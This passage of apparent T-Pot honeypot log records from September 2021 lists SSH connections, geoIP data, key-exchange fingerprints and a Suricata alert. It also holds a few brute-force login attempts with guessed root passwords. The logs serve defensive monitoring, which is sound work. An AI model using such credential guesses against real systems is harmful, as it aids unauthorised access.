"2021-09-20T11:06:15.540951", "@timestamp": "2021-09-20T11:06:15.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20703	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:15.85234+03	2021-09-20 14:15:02.713615+03	{"_id": "dgXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7174, "timestamp": "2021-09-20T11:06:15.852340", "@timestamp": "2021-09-20T11:06:15.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20704	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:15.964318+03	2021-09-20 14:15:02.714645+03	{"_id": "dwXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.192.44.134", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36458, "timestamp": "2021-09-20T11:06:15.964318", "@timestamp": "2021-09-20T11:06:15.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20706	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:15.511778+03	2021-09-20 14:15:02.716651+03	{"_id": "eQXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4e761ab8d828", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:15.511778Z", "@timestamp": "2021-09-20T11:06:15.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20707	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:06:15.962058+03	2021-09-20 14:15:02.718643+03	{"_id": "egXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d09007e594dd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:06:15.962058Z", "@timestamp": "2021-09-20T11:06:15.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20708	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.990078+03	2021-09-20 14:15:02.719636+03	{"_id": "ewXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/root11] failed", "session": "0abdc9a421c4", "@version": "1", "password": "root11", "username": "root", "timestamp": "2021-09-20T11:06:15.990078Z", "@timestamp": "2021-09-20T11:06:15.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20709	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:15.996099+03	2021-09-20 14:15:02.720644+03	{"_id": "fAXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/engineer] failed", "session": "9865354beb87", "@version": "1", "password": "engineer", "username": "root", "timestamp": "2021-09-20T11:06:15.996099Z", "@timestamp": "2021-09-20T11:06:15.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20710	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:16.460245+03	2021-09-20 14:15:02.721645+03	{"_id": "fQXiAnwBvYTbRNuEmPwY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 191445670058163, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57298, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.460245Z", "@timestamp": "2021-09-20T11:06:16.460Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20711	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:06:16.210037+03	2021-09-20 14:15:02.723613+03	{"_id": "fgXiAnwBvYTbRNuEmPwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "flow_id": 14316923771039, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36458, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.210037Z", "@timestamp": "2021-09-20T11:06:16.210Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20712	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:16.766278+03	2021-09-20 14:15:02.724615+03	{"_id": "fwXiAnwBvYTbRNuEmPwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2047474984828657, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42670, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.766278Z", "@timestamp": "2021-09-20T11:06:16.766Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20713	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:06:16.210513+03	2021-09-20 14:15:02.725613+03	{"_id": "gwXiAnwBvYTbRNuEmPwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:15.710815+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 14316923771039, "payload": "AAADzAYUzqeggl5aFyxmIpxkFKpexwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36458, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:16.210513Z", "@timestamp": "2021-09-20T11:06:16.210Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........^Z.,f\\".d..^....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20714	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:16.109262+03	2021-09-20 14:15:02.726628+03	{"_id": "hQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:60562 (192.168.176.2:22) [session: e2315caec864]", "session": "e2315caec864", "@version": "1", "protocol": "ssh", "src_port": 60562, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.109262Z", "@timestamp": "2021-09-20T11:06:16.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20715	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.240154+03	2021-09-20 14:15:02.728613+03	{"_id": "hgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57298 (192.168.176.2:22) [session: 3420f9617213]", "session": "3420f9617213", "@version": "1", "protocol": "ssh", "src_port": 57298, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.240154Z", "@timestamp": "2021-09-20T11:06:16.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20716	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.369629+03	2021-09-20 14:15:02.729613+03	{"_id": "hwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:58448 (192.168.176.2:22) [session: ba59f69158c2]", "session": "ba59f69158c2", "@version": "1", "protocol": "ssh", "src_port": 58448, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.369629Z", "@timestamp": "2021-09-20T11:06:16.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20717	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:16.488484+03	2021-09-20 14:15:02.730612+03	{"_id": "iAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42670 (192.168.176.2:22) [session: e2d4c1312798]", "session": "e2d4c1312798", "@version": "1", "protocol": "ssh", "src_port": 42670, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.488484Z", "@timestamp": "2021-09-20T11:06:16.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20718	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:16.690997+03	2021-09-20 14:15:02.731613+03	{"_id": "iQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:44702 (192.168.176.2:22) [session: 87a0b732c4da]", "session": "87a0b732c4da", "@version": "1", "protocol": "ssh", "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.690997Z", "@timestamp": "2021-09-20T11:06:16.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20719	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:16.956741+03	2021-09-20 14:15:02.732612+03	{"_id": "igXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53006 (192.168.176.2:22) [session: 3894053eb664]", "session": "3894053eb664", "@version": "1", "protocol": "ssh", "src_port": 53006, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.956741Z", "@timestamp": "2021-09-20T11:06:16.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20720	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.110487+03	2021-09-20 14:15:02.733612+03	{"_id": "qQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60562, "timestamp": "2021-09-20T11:06:16.110487", "@timestamp": "2021-09-20T11:06:16.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20721	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:16.124215+03	2021-09-20 14:15:02.735614+03	{"_id": "qgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 